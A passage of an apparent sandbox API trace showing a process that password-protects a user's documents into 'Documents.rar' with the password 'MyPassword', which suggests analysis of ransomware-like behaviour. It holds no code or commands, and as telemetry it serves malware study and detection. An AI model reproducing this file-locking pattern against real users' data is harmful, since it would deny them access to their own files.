lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a01d2*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.012] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39db40 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.012] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39daf0 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0068.012] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39db40 [0068.012] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.014] GetTickCount () returned 0xa674b5 [0068.015] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14335493837) returned 1 [0068.015] GetTickCount () returned 0xa674b5 [0068.015] GetTickCount () returned 0xa674c5 [0068.016] GetTickCount () returned 0xa674c5 [0068.016] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.016] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.016] GetFocus () returned 0x0 [0068.016] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.016] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.016] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.016] ResetEvent (hEvent=0x1a4) returned 1 [0068.016] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.016] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.016] GetTickCount () returned 0xa674c5 [0068.016] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14335648009) returned 1 [0068.016] GetTickCount () returned 0xa674c5 [0068.016] GetTickCount () returned 0xa674c5 [0068.016] GetTickCount () returned 0xa674c5 [0068.016] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.016] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.016] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.016] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xb47ff [0068.016] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xb485c [0068.016] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.016] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.016] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.017] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.017] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xc0, lpOverlapped=0x0) returned 1 [0068.017] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.017] SetFilePointer (in: hFile=0x198, lDistanceToMove=739327, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xb47ff [0068.017] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xb47ff [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.017] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39daf0 [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.017] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39db40 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.017] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0068.017] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39daf0 [0068.017] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.017] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5d, lpOverlapped=0x0) returned 1 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.017] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xb491c [0068.017] CloseHandle (hObject=0x1b0) returned 1 [0068.017] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.017] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.017] FindFirstFileW (in: lpFileName="dPdybr639pwn.odp", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.017] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.018] CreateFileW (lpFileName="dPdybr639pwn.odp" (normalized: "c:\\users\\whuoxysd\\documents\\dpdybr639pwn.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.018] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.018] GetTickCount () returned 0xa674c5 [0068.018] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.018] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.018] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.018] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.018] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0068.018] SetWindowTextW (hWnd=0x10280, lpString="dPdybr639pwn.odp") returned 1 [0068.018] GetTickCount () returned 0xa674c5 [0068.018] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.018] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.018] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.018] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.018] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x286)) [0068.018] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.018] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14336039658) returned 1 [0068.020] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5f6f, lpOverlapped=0x0) returned 1 [0068.021] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5faf, nNumberOfBytesToRead=0xfa091, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5faf*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.021] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39db40 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.021] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39daf0 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.021] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0068.021] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39db40 [0068.021] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.021] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.021] GetTickCount () returned 0xa674c5 [0068.021] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14336140208) returned 1 [0068.021] GetTickCount () returned 0xa674c5 [0068.021] GetTickCount () returned 0xa674c5 [0068.021] GetTickCount () returned 0xa674c5 [0068.021] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.021] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.021] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.021] ResetEvent (hEvent=0x1a4) returned 1 [0068.022] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.023] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] ResetEvent (hEvent=0x1a4) returned 1 [0068.023] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.024] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] GetTickCount () returned 0xa674c5 [0068.024] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14336402372) returned 1 [0068.024] GetTickCount () returned 0xa674c5 [0068.024] GetTickCount () returned 0xa674c5 [0068.024] GetTickCount () returned 0xa674c5 [0068.024] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.024] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.024] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.024] ResetEvent (hEvent=0x190) returned 1 [0068.024] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.024] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] ResetEvent (hEvent=0x190) returned 1 [0068.024] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.025] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.025] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.025] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.025] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xb491c [0068.025] SetFilePointer (in: hFile=0x198, lDistanceToMove=100, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xb4980 [0068.025] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.025] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.025] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.025] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.025] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5fc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5fc0, lpOverlapped=0x0) returned 1 [0068.025] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.025] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.025] SetFilePointer (in: hFile=0x198, lDistanceToMove=739612, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xb491c [0068.025] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xb491c [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.026] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39daf0 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.026] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39db40 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639b0 | out: hHeap=0x2e0000) returned 1 [0068.026] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63980, Size=0x48) returned 0x39daf0 [0068.026] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.026] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x64, lpOverlapped=0x0) returned 1 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63980 [0068.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x3a1250 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.026] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xba940 [0068.026] CloseHandle (hObject=0x1b0) returned 1 [0068.026] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.026] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.026] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.026] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.026] FindFirstFileW (in: lpFileName="e8 DbP8IuWCbGEcy.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.026] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.026] CreateFileW (lpFileName="e8 DbP8IuWCbGEcy.docx" (normalized: "c:\\users\\whuoxysd\\documents\\e8 dbp8iuwcbgecy.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.026] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.026] GetTickCount () returned 0xa674c5 [0068.026] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.026] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.026] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.026] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.026] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="dPdybr639pwn.odp") returned 16 [0068.026] SetWindowTextW (hWnd=0x10280, lpString="e8 DbP8IuWCbGEcy.docx") returned 1 [0068.027] GetTickCount () returned 0xa674c5 [0068.027] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.027] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.027] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.027] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.027] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x286)) [0068.027] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.027] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14336755340) returned 1 [0068.027] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x123c2, lpOverlapped=0x0) returned 1 [0068.028] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b2402, nNumberOfBytesToRead=0xedc3e, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b2402*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.028] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.028] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639b0 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.028] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39db40 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.028] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639e0, Size=0x48) returned 0x39daf0 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b639e0 [0068.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a10 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63a10 | out: hHeap=0x2e0000) returned 1 [0068.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b639e0 | out: hHeap=0x2e0000) returned 1 [0068.028] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b639b0, Size=0x48) returned 0x39db40 [0068.028] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 